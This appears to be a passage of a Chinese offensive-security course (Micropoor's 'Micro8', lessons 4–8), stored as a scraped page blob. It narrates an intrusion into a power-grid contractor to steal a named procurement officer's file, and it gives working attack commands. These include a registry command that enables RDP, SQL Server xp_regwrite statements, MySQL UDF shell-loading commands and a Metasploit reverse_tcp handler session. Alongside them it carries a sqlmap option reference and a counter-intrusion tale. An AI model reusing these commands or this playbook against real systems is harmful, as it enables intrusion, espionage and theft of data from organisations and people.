协议发布 修订时间: 2019-03-03 "},"Chapter1/4_Asp代码审计--项目实战2.html":{"url":"Chapter1/4_Asp代码审计--项目实战2.html","title":"第四课:Asp代码审计--项目实战2","keywords":"","body":"ASP 代码审计 -- 项目实战2 0x00 任务背景: 需要得知周某某的今年采购的其中一个项目具体信息,目前已知该成员是xxx电网。负责丰满大坝的采购人员。整体思路如下: 找到开发公司 -> 得到源码 -> 审计问题 -> 得到shell -> 拿到服务器 -> 得到域控(或者终端管理) -> 得到个人机 -> 下载任务文件。 得知该电网公司电网相关网站是某公司出品,得到某公司对外宣传网站,并且得到该公司服务器权限,下载源码模板。 0x01 源码审计: 全局共计2个主要文件,分别是Function.asp,Startup.asp。 1、Function.asp 后台验证项: 来源验证: 注入验证:(目标服务器waf,遂放弃) 错误处理: XSS字符处理: 直接输入admin/下文件名处理: 目录生成:针对iis6以及iis7 php版本 2、Startup.asp 配置文件:当不可以执行的时候,是否可以备份出数据库,以便下载。 关于新闻显示,全局incude head.asp 3、check_si.asp 其中 check_si.asp 主要为防止注入 Get注入 Post 注入 新版本中加入post注入 过程中遇到服务器卡顿现象,也就是不清楚列名数,本地二分法测试如下: 4、database.asp 在 admin 目录下有个 database.asp 文件 0x02 目标测试: 1、越权漏洞 根据以上信息,构造 referrer,构造参数,禁止js。产生出越权漏洞。 2、上传 根据越权漏洞,继续看upload.asp文件,允许匿名上传图片文件。在根据越权漏洞备份出webshell文件 3、Get Shell 得到webshell 4、开启 3389 对方没有开启远程桌面,开启: REG ADD HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal\" \"Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f 5、Get Admin 通过该服务器得到mssql 数据库。得到终端管理权限。 6、查找目标 查看在线机器,查找目标人物。 7、推送 Payload 推送payload 反弹。 8、目标确认 确定是否为目标人物:采购员 桌面截图 9、Download 按照任务 取得该人员的其中一个xls文件 10、Mission Completed 任务完成。 --By Micropoor Copyright © 2019 Micro8. All Rights Reserved. 遵循 知识共享 署名-非商业性使用 4.0 协议发布 修订时间: 2019-03-03 "},"Chapter1/5_工具介绍-Sqlmap.html":{"url":"Chapter1/5_工具介绍-Sqlmap.html","title":"第五课:工具介绍-Sqlmap","keywords":"","body":"sqlmap参数详解: 由于Sqlmap 是常用工具之一,所以本篇的篇幅较长,详解一次所有参数。 1、Options(选项) Usage: python sqlmap.py [options] Options(选项): -h, --help Show basic help message and exit ## 展示帮助文档 参数 -hh Show advanced help message and exit ## 展示详细帮助文档参数 --version Show program's version number and exit ## 显示程序的版本号 -v VERBOSE Verbosity level: 0-6 (default 1) ## 详细级别:0-6(默认为1) 2、Target(目标) Target(目标): At least one of these options has to be provided to define the target(s) -d DIRECT Connection string for direct database connection ## 指定具体数据库 -u URL, --url=URL Target URL (e.g. \"http://www.site.com/vuln.php?id=1\") ## 目标URL -l LOGFILE Parse target(s) from Burp or WebScarab proxy log file ## 解析目标(s)从Burp或WebScarab代理日志文件 -x SITEMAPURL Parse target(s) from remote sitemap(.xml) file ## 解析目标(s)从远程站点地图文件(.xml) -m BULKFILE Scan multiple targets given in a textual file ## 扫描文本文件中给出的多个目标 -r REQUESTFILE Load HTTP request from a file ## 从本地文件加载HTTP请求 ,多用于post注入。 -g GOOGLEDORK Process Google dork results as target URLs ## 处理Google的结果作为目标URL。 -c CONFIGFILE Load options from a configuration INI file ## 从INI配置文件中加载选项。 3、Request(请求) Request(请求): These options can be used to specify how to connect to the target URL ## 这些选项可以用来指定如何连接到目标URL。 --method=METHOD Force usage of given HTTP method (e.g. PUT) ## 强制使用给定的HTTP方法(e.g. PUT) --data=DATA Data string to be sent through POST ## 通过POST发送的数据字符串 --param-del=PARA.. Character used for splitting parameter values ## 用于拆分参数值的字符 --cookie=COOKIE HTTP Cookie header value HTTP ## Cookie头的值 --cookie-del=COO.. Character used for splitting cookie values ## 用于分割Cookie值的字符 --load-cookies=L.. File containing cookies in Netscape/wget format ## 包含Netscape / wget格式的cookie的文件 --drop-set-cookie Ignore Set-Cookie header from response ## 从响应中忽略Set-Cookie头 --user-agent=AGENT HTTP User-Agent header value ## 指定 HTTP User - Agent头 --random-agent Use randomly selected HTTP User-Agent header value ## 使用随机选定的HTTP User - Agent头 --host=HOST HTTP Host header value ## HTTP主机头值 --referer=REFERER HTTP Referer header value ## 指定 HTTP Referer头 -H HEADER, --hea.. Extra header (e.g. \"X-Forwarded-For: 127.0.0.1\") ## 额外header --headers=HEADERS Extra headers (e.g. \"Accept-Language: fr\\\\nETag: 123\") ## 额外header --auth-type=AUTH.. HTTP authentication type (Basic, Digest, NTLM or PKI)HTTP ## 认证类型(Basic, Digest, NTLM or PKI) --auth-cred=AUTH.. HTTP authentication credentials (name:password) ## HTTP认证凭证(name:password) --auth-file=AUTH.. HTTP authentication PEM cert/private key file ## HTTP认证 PEM认证/私钥文件 --ignore-401 Ignore HTTP Error 401 (Unauthorized) ## 忽略HTTP错误401 --proxy=PROXY Use a proxy to connect to the target URL ## 使用代理连接到目标网址 --proxy-cred=PRO.. Proxy authentication credentials (name:password) ## 代理认证证书(name:password) --proxy-file=PRO.. Load proxy list from a file ## 从文件中加载代理列表 --ignore-proxy Ignore system default proxy settings ## 忽略系统默认代理设置 --tor Use Tor anonymity network ## 使用Tor匿名网络 --tor-port=TORPORT Set Tor proxy port other than default ## 设置Tor代理端口而不是默认值 --tor-type=TORTYPE Set Tor proxy type (HTTP (default), SOCKS4 or SOCKS5) ## 设置Tor代理类型 --check-tor Check to see if Tor is used properly ## 检查Tor是否正确使用 --delay=DELAY Delay in seconds between each HTTP request ## 每个HTTP请求之间的延迟(秒) --timeout=TIMEOUT Seconds to wait before timeout connection (default 30) ## 秒超时连接前等待(默认30) --retries=RETRIES Retries when the connection timeouts (default 3) ## 连接超时时重试(默认值3) --randomize=RPARAM Randomly change value for given parameter(s) ## 随机更改给定参数的值(s) --safe-url=SAFEURL URL address to visit frequently during testing ## 在测试期间频繁访问的URL地址 --safe-post=SAFE.. POST data to send to a safe URL ## POST数据发送到安全URL --safe-req=SAFER.. Load safe HTTP request from a file ## 从文件加载安全HTTP请求 --safe-freq=SAFE.. Test requests between two visits to a given safe URL ## 在两次访问给定安全网址之间测试请求 --skip-urlencode Skip URL encoding of payload data ## 跳过有效载荷数据的URL编码 --csrf-token=CSR.. Parameter used to hold anti-CSRF token ## 参数用于保存anti-CSRF令牌 --csrf-url=CSRFURL URL address to visit to extract anti-CSRF token ## 提取anti-CSRF URL地址访问令牌 --force-ssl Force usage of SSL/HTTPS ## 强制使用SSL /HTTPS --hpp Use HTTP parameter pollution method ## 使用HTTP参数pollution的方法 --eval=EVALCODE Evaluate provided Python code before the request (e.g. 评估请求之前提供Python代码\"import hashlib;id2=hashlib.md5(id).hexdigest()\") 4、Optimization(优化) Optimization(优化): These options can be used to optimize the performance of sqlmap ## 这些选项可用于优化sqlmap的性能 -o Turn on all optimization switches ## 开启所有优化开关 --predict-output Predict common queries output ## 预测常见的查询输出 --keep-alive Use persistent HTTP(s) connections ## 使用持久的HTTP(S)连接 --null-connection Retrieve page length without actual HTTP response body ## 从没有实际的HTTP响应体中检索页面长度 --threads=THREADS Max number of concurrent HTTP(s) requests (default 1) ## 最大的HTTP(S)请求并发量(默认为1) 5、Injection(注入) Injection(注入): These options can be used to specify which parameters to test for, provide custom injection payloads and optional tampering scripts ## 这些选项可以用来指定测试哪些参数, 提供自定义的注入payloads和可选篡改脚本。 -p TESTPARAMETER Testable parameter(s) ## 可测试的参数(S) --skip=SKIP Skip testing for given parameter(s) ## 跳过对给定参数的测试 --skip-static Skip testing parameters that not appear to be dynamic ## 跳过测试不显示为动态的参数 --param-exclude=.. Regexp to exclude parameters from testing (e.g. \"ses\") ## 使用正则表达式排除参数进行测试(e.g. \"ses\") --dbms=DBMS Force back-end DBMS to this value ## 强制后端的DBMS为此值 --dbms-cred=DBMS.. DBMS authentication credentials (user:password) ## DBMS认证凭证(user:password) --os=OS Force back-end DBMS operating system to this value ## 强制后端的DBMS操作系统为这个值 --invalid-bignum Use big numbers for invalidating values ## 使用大数字使值无效 --invalid-logical Use logical operations for invalidating values ## 使用逻辑操作使值无效 --invalid-string Use random strings for invalidating values ## 使用随机字符串使值无效 --no-cast Turn off payload casting mechanism ## 关闭有效载荷铸造机制 --no-escape Turn off string escaping mechanism ## 关闭字符串转义机制 --prefix=PREFIX Injection payload prefix string ## 注入payload字符串前缀 --suffix=SUFFIX Injection payload suffix string ## 注入payload字符串后缀 --tamper=TAMPER Use given script(s) for tampering injection data ## 使用给定的脚本(S)篡改注入数据 6、Detection(检测) Detection(检测): These options can be used to customize the detection phase ## 这些选项可以用来指定在SQL盲注时如何解析和比较HTTP响应页面的内容。 --level=LEVEL Level of tests to perform (1-5, default 1) ## 执行测试的等级(1-5,默认为1) --risk=RISK Risk of tests to perform (1-3, default 1) ## 执行测试的风险(0-3,默认为1) --string=STRING String to match when query is evaluated to True ## 查询时有效时在页面匹配字符串 --not-string=NOT.. String to match when query is evaluated to False ## 当查询求值为无效时匹配的字符串 --regexp=REGEXP Regexp to match when query is evaluated to True ## 查询时有效时在页面匹配正则表达式 --code=CODE HTTP code to match when query is evaluated to True ## 当查询求值为True时匹配的HTTP代码 --text-only Compare pages based only on the textual content ## 仅基于在文本内容比较网页 --titles Compare pages based only on their titles ## 仅根据他们的标题进行比较 7、Techniques(技巧) Techniques(技巧): These options can be used to tweak testing of specific SQL injection techniques ## 这些选项可用于调整具体的SQL注入测试。 --technique=TECH SQL injection techniques to use (default \"BEUSTQ\") ## SQL 注入技术测试(默认BEUST) --time-sec=TIMESEC Seconds to delay the DBMS response (default 5) ## DBMS响应的延迟时间(默认为5秒) --union-cols=UCOLS Range of columns to test for UNION query SQL injection ## 定列范围用于测试UNION查询注入 --union-char=UCHAR Character to use for bruteforcing number of columns ## 用于暴力猜解列数的字符 --union-from=UFROM Table to use in FROM part of UNION query SQL injection ## 要在UNION查询SQL注入的FROM部分使用的表 --dns-domain=DNS.. Domain name used for DNS exfiltration attack ## 域名用于DNS漏出攻击 --second-order=S.. Resulting page URL searched for second-order response ## 生成页面的URL搜索为second-order响应 8、Fingerprint(指纹) Fingerprint(指纹): -f, --fingerprint Perform an extensive DBMS version fingerprint ## 执行检查广泛的DBMS版本指纹 9、Enumeration(枚举) Enumeration(枚举): These options can be used to enumerate the back-end database management system information, structure and data contained in the tables. Moreover you can run your own SQL statements ## 这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行您自己的SQL语句。 -a, --all Retrieve everything ## 检索一切 -b, --banner Retrieve DBMS banner ## 检索数据库管理系统的标识 --current-user Retrieve DBMS current user ## 检索数据库管理系统的 标识 --current-db Retrieve DBMS current database ## 检索数据库管理系统当前数据库 -hostname Retrieve DBMS server hostname ## 检索数据库服务器的主机名 --is-dba Detect if the DBMS current user is DBA ## 检测DBMS当前用户是否DBA --users Enumerate DBMS users ## 枚举数据库管理系统用户 --passwords Enumerate DBMS users password hashes ## 枚举数据库管理系统用户密码哈希 --privileges Enumerate DBMS users privileges ## 枚举数据库管理系统用户的权限 --roles Enumerate DBMS users roles ## 枚举数据库管理系统用户的角色 --dbs Enumerate DBMS databases ## 枚举数据库管理系统数据库 --tables Enumerate DBMS database tables ## 枚举的DBMS数据库中的表 --columns Enumerate DBMS database table columns ## 枚举DBMS数据库表列 --schema Enumerate DBMS schema ## 枚举数据库架构 --count Retrieve number of entries for table(s) ## 检索表的条目数 --dump Dump DBMS database table entries ## 转储数据库管理系统的数据库中的表项 --dump-all Dump all DBMS databases tables entries ## 转储数据库管理系统的数据库中的表项 --search Search column(s), table(s) and/or database name(s) ## 搜索列(S),表(S)和/或数据库名称(S) --comments Retrieve DBMS comments ## 检索数据库的comments(注释、评论) -D DB DBMS database to enumerate ## 要进行枚举的数据库名 -T TBL DBMS database table(s) to enumerate ## 要进行枚举的数据库表 -C COL DBMS database table column(s) to enumerate ## 要进行枚举的数据库列 -X EXCLUDECOL DBMS database table column(s) to not enumerate ## 要不进行枚举的数据库列 -U USER DBMS user to enumerate ## 用来进行枚举的数据库用户 --exclude-sysdbs Exclude DBMS system databases when enumerating tables ## 枚举表时排除系统数据库 --pivot-column=P.. Pivot column name ## 主列名称 --where=DUMPWHERE Use WHERE condition while table dumping ## 使用WHERE条件进行表转储 --start=LIMITSTART First query output entry to retrieve ## 第一个查询输出进入检索 --stop=LIMITSTOP Last query output entry to retrieve ## 最后查询的输出进入检索 --first=FIRSTCHAR First query output word character to retrieve ## 第一个查询输出字的字符检索 --last=LASTCHAR Last query output word character to retrieve ## 最后查询的输出字字符检索 --sql-query=QUERY SQL statement to be executed ## 要执行的SQL语句 --sql-shell Prompt for an interactive SQL shell ## 提示交互式SQL的shell --sql-file=SQLFILE Execute SQL statements from given file(s) ## 从给定文件执行SQL语句 10、Brute Force(蛮力) Brute force(蛮力): These options can be used to run brute force checks ## 这些选项可以被用来运行蛮力检查。 --common-tables Check existence of common tables ## 检查存在共同表 --common-columns Check existence of common columns ## 检查存在共同列 11、User-defined function injection(用户自定义函数注入) User-defined function injection(用户自定义函数注入): These options can be used to create custom user-defined functions ## 这些选项可以用来创建用户自定义函数。 --udf-inject Inject custom user-defined functions ## 注入用户自定义函数 --shared-lib=SHLIB Local path of the shared library ## 共享库的本地路径 12、File system access(访问文件系统) File system access(访问文件系统): These options can be used to access the back-end database management system underlying file system ## 这些选项可以被用来访问后端数据库管理系统的底层文件系统。 --file-read=RFILE Read a file from the back-end DBMS file system ## 从后端的数据库管理系统文件系统读取文件 --file-write=WFILE Write a local file on the back-end DBMS file system ## 编辑后端的数据库管理系统文件系统上的本地文件 --file-dest=DFILE Back-end DBMS absolute filepath to write to ## 后端的数据库管理系统写入文件的绝对路径 13、Operating system access(操作系统访问) Operating system access(操作系统访问): These options can be used to access the back-end database management system underlying operating system ## 这些选项可以用于访问后端数据库管理系统的底层操作系统。 --os-cmd=OSCMD Execute an operating system command ## 执行操作系统命令 --os-shell Prompt for an interactive operating system shell ## 交互式的操作系统的shell --os-pwn Prompt for an OOB shell, Meterpreter or VNC ## 获取一个OOB shell,meterpreter或VNC --os-smbrelay One click prompt for an OOB shell, Meterpreter or VNC ## 一键获取一个OOB shell,meterpreter或VNC --os-bof Stored procedure buffer overflow exploitation ## 存储过程缓冲区溢出利用 --priv-esc Database process user privilege escalation ## 数据库进程用户权限提升 --msf-path=MSFPATH Local path where Metasploit Framework is installed Metasploit Framework ## 本地的安装路径 --tmp-path=TMPPATH Remote absolute path of temporary files directory ## 远程临时文件目录的绝对路径 14、Windows registry access(Windows注册表访问) Windows registry access(Windows注册表访问): These options can be used to access the back-end database management system Windows registry ## 这些选项可以被用来访问后端数据库管理系统Windows注册表。 --reg-read Read a Windows registry key value ## 读一个Windows注册表项值 --reg-add Write a Windows registry key value data ## 写一个Windows注册表项值数据 --reg-del Delete a Windows registry key value ## 删除Windows注册表键值 --reg-key=REGKEY Windows registry key ## Windows注册表键 --reg-value=REGVAL Windows registry key value ## Windows注册表项值 --reg-data=REGDATA Windows registry key value data ## Windows注册表键值数据 --reg-type=REGTYPE Windows registry key value type ## Windows注册表项值类型 15、General(一般) General(一般): These options can be used to set some general working parameters ## 这些选项可以用来设置一些一般的工作参数。 -s SESSIONFILE Load session from a stored (.sqlite) file ## 保存和恢复检索会话文件的所有数据 -t TRAFFICFILE Log all HTTP traffic into a textual file ## 记录所有HTTP流量到一个文本文件中 --batch Never ask for user input, use the default behaviour ## 从不询问用户输入,使用所有默认配置。 --binary-fields=.. Result fields having binary values (e.g. \"digest\") ## 具有二进制值的结果字段 --charset=CHARSET Force character encoding used for data retrieval ## 强制用于数据检索的字符编码 --crawl=CRAWLDEPTH Crawl the website starting from the target URL ## 从目标网址开始抓取网站 --crawl-exclude=.. Regexp to exclude pages from crawling (e.g. \"logout\") ## 正则表达式排除网页抓取 --csv-del=CSVDEL Delimiting character used in CSV output (default \",\") ## 分隔CSV输出中使用的字符 --dump-format=DU.. Format of dumped data (CSV (default), HTML or SQLITE) ## 转储数据的格式 --eta Display for each output the estimated time of arrival ## 显示每个输出的预计到达时间 --flush-session Flush session files for current target ## 刷新当前目标的会话文件 --forms Parse and test forms on target URL ## 在目标网址上解析和测试表单 --fresh-queries Ignore query results stored in session file ## 忽略在会话文件中存储的查询结果 --hex Use DBMS hex function(s) for data retrieval ## 使用DBMS hex函数进行数据检索 --output-dir=OUT.. Custom output directory path ## 自定义输出目录路径 --parse-errors Parse and display DBMS error messages from responses ## 解析和显示响应中的DBMS错误消息 --save=SAVECONFIG Save options to a configuration INI file ## 保存选项到INI配置文件 --scope=SCOPE Regexp to filter targets from provided proxy log ## 使用正则表达式从提供的代理日志中过滤目标 --test-filter=TE.. Select tests by payloads and/or titles (e.g. ROW) ## 根据有效负载和/或标题(e.g. ROW)选择测试 --test-skip=TEST.. Skip tests by payloads and/or titles (e.g. BENCHMARK) ## 根据有效负载和/或标题跳过测试(e.g. BENCHMARK) --update Update sqlmap ## 更新SqlMap 16、Miscellaneous(杂项) Miscellaneous(杂项): -z MNEMONICS Use short mnemonics (e.g. \"flu,bat,ban,tec=EU\") ## 使用简短的助记符 --alert=ALERT Run host OS command(s) when SQL injection is found ## 在找到SQL注入时运行主机操作系统命令 --answers=ANSWERS Set question answers (e.g. \"quit=N,follow=N\") ## 设置问题答案 --beep Beep on question and/or when SQL injection is found ## 发现SQL 注入时提醒 --cleanup Clean up the DBMS from sqlmap specific UDF and tables SqlMap ## 具体的UDF和表清理DBMS --dependencies Check for missing (non-core) sqlmap dependencies ## 检查是否缺少(非内核)sqlmap依赖关系 --disable-coloring Disable console output coloring ## 禁用控制台输出颜色 --gpage=GOOGLEPAGE Use Google dork results from specified page number ## 使用Google dork结果指定页码 --identify-waf Make a thorough testing for a WAF/IPS/IDS protection ## 对WAF / IPS / IDS保护进行全面测试 --skip-waf Skip heuristic detection of WAF/IPS/IDS protection ## 跳过启发式检测WAF / IPS / IDS保护 --mobile Imitate smartphone through HTTP User-Agent header ## 通过HTTP User-Agent标头模仿智能手机 --offline Work in offline mode (only use session data) ## 在离线模式下工作(仅使用会话数据) --page-rank Display page rank (PR) for Google dork results ## Google dork结果显示网页排名(PR) --purge-output Safely remove all content from output directory ## 安全地从输出目录中删除所有内容 --smart Conduct thorough tests only if positive heuristic(s) ## 只有在正启发式时才进行彻底测试 --sqlmap-shell Prompt for an interactive sqlmap shell ## 提示交互式 sqlmap shell --wizard Simple wizard interface for beginner users ## 给初级用户的简单向导界面 --By Micropoor Copyright © 2019 Micro8. All Rights Reserved. 遵循 知识共享 署名-非商业性使用 4.0 协议发布 修订时间: 2019-03-03 "},"Chapter1/6_反攻的一次溯源--项目实战3.html":{"url":"Chapter1/6_反攻的一次溯源--项目实战3.html","title":"第六课:反攻的一次溯源--项目实战3","keywords":"","body":"反攻的一次溯源 -- 项目实战3 事件过程 某厂商通过日志分析发现可疑 IP,但是日志记录里显示该 IP 的行为是频繁地登陆内网,并无发现有攻击的迹象,因此无法下手进行内网安全的加固和清除后门。而且显示的是外国 IP,无法确定是真实 IP 还是代理 IP,因此无法定位攻击者的地理位置。思路:反入侵得到攻击者机器权限 -> 入侵现场还原,摸清入侵思路 -> 并且须知入侵者的相关后门遗留,以便处理后门 -> 抓取入侵者的真实IP获得地理位置 -> 并按照攻击者的攻击路线加固相关漏洞安全。 一、日志分析 某厂商日志:该IP 为韩国,login 状态全部为success221-ip 成功,进入内网多个IP。但无其他记录,如过程,手法。无法安全加固客户内网。无法分析出哪里出现问题,只能找出起始被入侵成功的IP,需要得到攻击者的电脑权限,还原攻击过程,才可得知被攻击者的弱点并加固。 在tns日志中,oracle相关存储得到入侵者相关的存储利用。如 downfile‐smss.exe,地址为 115.231.60.76。 此时,我们得到2个攻击者IP,1个样本 IP分别为韩国,河南,样本1为:smss.exe 二、现场还原 刺探攻击者的服务器相关信息:起初连接到入侵者IP的服务器,IP归属地为韩国,并且服务器也为韩文,非中国渠道购买,起初以为攻击者为国外人员。 但当刺探攻击者服务器21端口时发现并非真正的“国外黑客” 于是,暂时定为攻击者为国内,需要摸查的IP锁定为中国范围内IP整体思路临时改为: 需要得到该服务器的权限,查看所有登陆成功日志,找出IP以及对应时间。入侵思路临时改为:该服务器为懂攻防人员所拥有,尽可能在该服务器不添加任何账号或留有明显痕迹。 由于韩国服务器此段有DHCP记录查看应用,该应用存在loadfile漏洞,并且得知目标服务器存在 shift 后门。 攻击思路为:16进制读取 shift 后门,并unhex本地还原exe,得到样本2,本地分析该样本,从而不留痕迹得得到攻击者服务器。 至此:目前我们得到2个攻击者IP,2个样本,IP分别为韩国,河南,样本分别为smss.exe与sethc.exe。 三、本地样本分析 样本1:生成替换dll。并且自启动,反链接到某IP的8080端口,并且自删除。为远控特征。 远控样本md5值: 样本2:shift 后门,VB编译,并且未加壳。思路为,反汇编得到样本密码以及软件工作流程。Shift后门样本MD5: 特征为密码输入错误,呼出msgbox 得到该程序相关工作流程,当输入密码正确时,调出taskmgr.exe(任务管理器)以及 cmd.exe 四、测试并取证 输入得到的密码。当密码正确时呼出相关进程,并且得到system权限。 取证以及样本截留: 攻击者真实IP以及对应时间: 得到真实入侵者的IP归属地为:四川省眉山市 电信并且桌面截图: 再该服务器上留有大量以地名名为的 txt 文本(如 beijing.txt)。文本内容为 IP,部分内容为账号,密码,ip。其中dongbei.txt(被攻击者归属地为东北)找到某政府对应IP。 至此通过该服务器的桌面相关软件以及相关攻击者本文记录,得知攻击者的入侵思路,以及部分后门留存位置特征等。以此回头来加固某政府内网安全以及切入点。 --By Micropoor Copyright © 2019 Micro8. All Rights Reserved. 遵循 知识共享 署名-非商业性使用 4.0 协议发布 修订时间: 2019-03-06 "},"Chapter1/7_sqlServer常用操作远程桌面语句.html":{"url":"Chapter1/7_sqlServer常用操作远程桌面语句.html","title":"第七课:sql server 常用操作远程桌面语句","keywords":"","body":"SqlServer 常用操作远程桌面语句 1、是否开启远程桌面 1:表示关闭 0:表示开启EXEC master..xp_regread 'HKEY_LOCAL_MACHINE', 'SYSTEM\\CurrentControlSet\\Control\\Terminal Server', 'fDenyTSConnections' 2、读取远程桌面端口 EXEC master..xp_regread 'HKEY_LOCAL_MACHINE', 'SYSTEM\\CurrentControlSet\\Control\\TerminalServer\\WinStations\\RDP-Tcp', 'PortNumber' 3、开启远程桌面 EXEC master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE', 'SYSTEM\\CurrentControlSet\\Control\\TerminalServer', 'fDenyTSConnections','REG_DWORD',0; reg 文件开启远程桌面: Windows Registry Editor Version 5.00HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\TerminalServer] \"fDenyTSConnections\"=dword:00000000[HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\TerminalServer\\WinStations\\RDP-Tcp] \"PortNumber\"=dword:00000d3d //// 保存 micropoor.reg,并执行 regedit /s micropoor.reg 注:如果第一次开启远程桌面,部分需要配置防火墙规则允许远程端口。 netsh advfirewall firewall add rule name=\"Remote Desktop\" protocol=TCP dir=in localport=3389 action=allow 4、关闭远程桌面 EXEC master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE', 'SYSTEM\\CurrentControlSet\\Control\\TerminalServer', 'fDenyTSConnections','REG_DWORD',1; --By Micropoor Copyright © 2019 Micro8. All Rights Reserved. 遵循 知识共享 署名-非商业性使用 4.0 协议发布 修订时间: 2019-03-03 "},"Chapter1/8_模拟诉求任务攻击.html":{"url":"Chapter1/8_模拟诉求任务攻击.html","title":"第八课:模拟诉求任务攻击","keywords":"","body":"模拟诉求任务攻击 模拟任务: 拿到该公司明年计划,拿到该公司今年报表,并且摸清该公司组织架构。盈利情况。 1、主站 Shell 第一个shell为目标主站shell,为08 R2,提权后遂改变主意。由于是以APT为主,并不打算以主站权限为点渗透,动作太大。不利于长期跟踪。改变为搜集情报为主。配合下一步工作。 主站为2008 R2: 主站端口为: 2、信息搜集 搜集端口为该公司的其他分站提供下一步探测。 进程搜集:红色为重点搜集源 > D:\\> tasklist 映像名稱 PID 工作階段名稱 工作階段 # RAM使用量 ========================= ======== ================ =========== ============ System Idle Process 0 0 24 K System 4 0 372 K smss.exe 296 0 1,448 K csrss.exe 400 0 6,968 K wininit.exe 452 0 5,636 K csrss.exe 460 1 12,460 K winlogon.exe 496 1 6,484 K services.exe 556 0 10,392 K lsass.exe 572 0 22,076 K lsm.exe 584 0 7,104 K svchost.exe 676 0 10,840 K svchost.exe 760 0 9,492 K LogonUI.exe 852 1 19,632 K svchost.exe 864 0 21,188 K svchost.exe 904 0 34,904 K svchost.exe 944 0 13,476 K svchost.exe 996 0 13,512 K svchost.exe 168 0 19,480 K svchost.exe 648 0 12,348 K spoolsv.exe 1080 0 16,672 K armsvc.exe 1124 0 4,208 K apnmcp.exe 1172 0 5,832 K svchost.exe 1196 0 9,228 K aspnet_state.exe 1224 0 8,264 K FileZilla Server.exe 1344 0 7,876 K svchost.exe 1380 0 10,408 K inetinfo.exe 1412 0 31,680 K EngineServer.exe 1448 0 568 K FrameworkService.exe 1548 0 19,580 K VsTskMgr.exe 1612 0 1,724 K MDM.EXE 1680 0 6,652 K naPrdMgr.exe 1692 0 2,116 K mfevtps.exe 1720 0 992 K sqlservr.exe 1760 0 13,284 K svchost.exe 1844 0 3,452 K snmp.exe 1868 0 9,264 K sqlwriter.exe 1904 0 7,440 K vmtoolsd.exe 1976 0 17,012 K snmp.exe 1988 0 3,164 K conhost.exe 1996 0 4,784 K vmware-converter-a.exe 2068 0 31,460 K vmware-converter.exe 2180 0 38,176 K vmware-converter.exe 2228 0 32,828 K svchost.exe 2288 0 14,152 K McShield.exe 2320 0 89,332 K mfeann.exe 2468 0 5,860 K conhost.exe 2476 0 3,380 K w3wp.exe 2592 0 160,760 K w3wp.exe 2812 0 463,872 K svchost.exe 3452 0 9,656 K svchost.exe 4104 0 6,384 K dllhost.exe 4252 0 12,192 K msdtc.exe 4424 0 8,708 K svchost.exe 4196 0 34,760 K w3wp.exe 5604 0 12,632 K TrustedInstaller.exe 4500 0 11,788 K cmd.exe 6292 0 3,932 K conhost.exe 6384 0 4,476 K tasklist.exe 1496 0 6,064 K WmiPrvSE.exe 5508 0 7,272 K 账户搜集:(已处理) 重要路径搜集: (无图,路径搜集为未来可能需要dump file做准备) 数据库密码搜集: (无图,密码搜集为未来可能需要碰撞做准备) 杀毒软件搜集: 强力的麦咖啡 管理员习惯搜集: (无图,尽量避免与admin的fvsf)(面对面的vs是不是这么拼写?) 其他搜集: (由于是第一个shell,具体的已经忘记了) 3、第二台服务器权限 第二台服务器权限:window x86 2003 根据上一台的服务器情报搜集很快得到了一台win03 IP .3 为一台开发机。目标仅支持 asp,无其他脚本支持。但是服务器中安装有 mysql,php 等。并且无 asp to mysql Device Drive IIS 配置中也并不支持 php。msf 反弹后,继续搜集情报。 type C:\\MySQL\\MySQL Server 5.0\\data\\mysql\\user.MYD 得到 root hash 在实际情况中,交互的shell下运行 mysql -uroot -pxxx 无法继续交互,需要参数 e 解决这个问题。 mysql -uroot -pxxxxxxxx mysql -e \"create table a (cmd LONGBLOB);\" mysql -uroot -pxxxxxxxx mysql -e \"insert into a (cmd) values (hex(load_file('C:\\\\xxxx\\\\xxxx.dll')));\" mysql -uroot -pxxxxxxxx mysql -e \"SELECT unhex(cmd) FROM a INTO DUMPFILE 'c:\\\\windows\\\\system32\\\\xxxx.dll';\" mysql -uroot -pxxxxxxxx mysql -e \"CREATE FUNCTION shell RETURNS STRING SONAME 'udf.dll'\" mysql -uroot -pxxxxxxxx mysql -e \"select shell('cmd','C:\\\\xxxx\\\\xxx\\\\xxxxx.exe');\" 如果限制上传大小同样可以hex解决上传大小问题。 4、msf 操作实例 以下为部分msf操作实例 msf > use exploit/multi/handler msf exploit(handler) > set payload windows/meterpreter/reverse_tcp msf exploit(handler) > exploit -l meterpreter > ps Process List ============ PID PPID Name Arch Session User Path --- ---- ---- ---- ------- ---- ---- 0 0 [System Process] 4 0 System x86 0 NT AUTHORITY\\SYSTEM 304 4 smss.exe x86 0 NT AUTHORITY\\SYSTEM\\SystemRoot\\System32\\smss.exe 352 304 csrss.exe x86 0 NT AUTHORITY\\SYSTEM \\?? \\C:\\WINDOWS\\system32\\csrss.exe 376 304 winlogon.exe x86 0 NT AUTHORITY\\SYSTEM \\?? \\C:\\WINDOWS\\system32\\winlogon.exe 424 376 services.exe x86 0 NT AUTHORITY\\SYSTEM C:\\WINDOWS\\system32\\services.exe 436 376 lsass.exe x86 0 NT AUTHORITY\\SYSTEM C:\\WINDOWS\\system32\\lsass.exe 620 424 vmacthlp.exe x86 0 NT AUTHORITY\\SYSTEM C:\\Program Files\\VMware\\VMware Tools\\vmacthlp.exe 636 424 svchost.exe x86 0 NT AUTHORITY\\SYSTEM C:\\WINDOWS\\system32\\svchost.exe 708 424 svchost.exe x86 0 NT AUTHORITY\\NETWORK SERVICE C:\\WINDOWS\\system32\\svchost.exe 768 424 svchost.exe x86 0 NT AUTHORITY\\NETWORK SERVICE C:\\WINDOWS\\system32\\svchost.exe 812 424 svchost.exe x86 0 NT AUTHORITY\\LOCAL SERVICE C:\\WINDOWS\\system32\\svchost.exe 828 424 svchost.exe x86 0 NT AUTHORITY\\SYSTEM C:\\WINDOWS\\System32\\svchost.exe 1000 424 spoolsv.exe x86 0 NT AUTHORITY\\SYSTEM C:\\WINDOWS\\system32\\spoolsv.exe 1028 424 msdtc.exe x86 0 NT AUTHORITY\\NETWORK SERVICE C:\\WINDOWS\\system32\\msdtc.exe 1160 424 svchost.exe x86 0 NT AUTHORITY\\SYSTEM C:\\WINDOWS\\System32\\svchost.exe 1228 424 inetinfo.exe 